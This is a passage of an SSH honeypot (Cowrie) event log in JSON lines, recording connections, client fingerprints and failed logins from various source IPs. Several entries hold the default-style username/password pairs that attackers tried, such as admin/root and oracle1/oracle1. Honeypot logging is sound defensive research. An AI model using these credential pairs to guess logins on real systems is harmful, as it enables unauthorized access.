{"eventid":"cowrie.login.failed","username":"hadoop","password":"abc","message":"login attempt [hadoop/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:17.171097Z","src_ip":"200.187.71.114","session":"7954835d6874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:18.289225Z","src_ip":"200.187.71.114","session":"7954835d6874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:24.919765Z","src_ip":"115.191.64.182","session":"06aa66bfd6c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33700,"dst_ip":"10.17.0.5","dst_port":22,"session":"4683ac349508","protocol":"ssh","message":"New connection: 193.32.162.145:33700 (10.17.0.5:22) [session: 4683ac349508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:46.753856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:46.761536Z","src_ip":"193.32.162.145","session":"4683ac349508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:46.856042Z","src_ip":"193.32.162.145","session":"4683ac349508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:47.278159Z","src_ip":"193.32.162.145","session":"4683ac349508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:48.386150Z","src_ip":"193.32.162.145","session":"4683ac349508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.107.209","src_port":44442,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1e1ed40237","protocol":"ssh","message":"New connection: 14.103.107.209:44442 (10.17.0.5:22) [session: 3c1e1ed40237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:48.642411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:48.646850Z","src_ip":"14.103.107.209","session":"3c1e1ed40237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:48.866118Z","src_ip":"14.103.107.209","session":"3c1e1ed40237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":50025,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5635a3a454b","protocol":"ssh","message":"New connection: 220.247.224.226:50025 (159.203.135.109:22) [session: a5635a3a454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:49.273236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:50.225374Z","src_ip":"220.247.224.226","session":"a5635a3a454b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:50.230970Z","src_ip":"220.247.224.226","session":"a5635a3a454b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.244.162","src_port":12617,"dst_ip":"10.17.0.5","dst_port":22,"session":"217bcffc69d2","protocol":"ssh","message":"New connection: 49.207.244.162:12617 (10.17.0.5:22) [session: 217bcffc69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:51.084638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:51.089182Z","src_ip":"49.207.244.162","session":"217bcffc69d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle1","password":"oracle1","message":"login attempt [oracle1/oracle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:51.111596Z","src_ip":"220.247.224.226","session":"a5635a3a454b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:51.298765Z","src_ip":"49.207.244.162","session":"217bcffc69d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:52.163769Z","src_ip":"49.207.244.162","session":"217bcffc69d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:52.334755Z","src_ip":"220.247.224.226","session":"a5635a3a454b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:55:53.375458Z","src_ip":"49.207.244.162","session":"217bcffc69d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":59264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae7424577b53","protocol":"ssh","message":"New connection: 154.219.100.220:59264 (10.17.0.5:22) [session: ae7424577b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:08.679007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:08.682909Z","src_ip":"154.219.100.220","session":"ae7424577b53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:08.931894Z","src_ip":"154.219.100.220","session":"ae7424577b53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:09.730488Z","src_ip":"154.219.100.220","session":"ae7424577b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:10.935801Z","src_ip":"154.219.100.220","session":"ae7424577b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":33818,"dst_ip":"10.17.0.5","dst_port":22,"session":"812642be009a","protocol":"ssh","message":"New connection: 200.187.71.114:33818 (10.17.0.5:22) [session: 812642be009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:14.780798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:14.786123Z","src_ip":"200.187.71.114","session":"812642be009a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:14.900905Z","src_ip":"200.187.71.114","session":"812642be009a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:15.393214Z","src_ip":"200.187.71.114","session":"812642be009a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:16.510328Z","src_ip":"200.187.71.114","session":"812642be009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.244.162","src_port":12811,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd90667533cf","protocol":"ssh","message":"New connection: 49.207.244.162:12811 (10.17.0.5:22) [session: bd90667533cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:17.435134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:17.439609Z","src_ip":"49.207.244.162","session":"bd90667533cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:17.650411Z","src_ip":"49.207.244.162","session":"bd90667533cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2026","message":"login attempt [ubuntu/Ubuntu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:18.514751Z","src_ip":"49.207.244.162","session":"bd90667533cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:19.725929Z","src_ip":"49.207.244.162","session":"bd90667533cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":58568,"dst_ip":"159.203.135.109","dst_port":22,"session":"83b768312f04","protocol":"ssh","message":"New connection: 200.118.150.20:58568 (159.203.135.109:22) [session: 83b768312f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.217733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.222070Z","src_ip":"200.118.150.20","session":"83b768312f04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.311952Z","src_ip":"200.118.150.20","session":"83b768312f04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":45782,"dst_ip":"159.203.135.109","dst_port":22,"session":"d420934e75c9","protocol":"ssh","message":"New connection: 220.247.224.226:45782 (159.203.135.109:22) [session: d420934e75c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.323002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.327078Z","src_ip":"220.247.224.226","session":"d420934e75c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-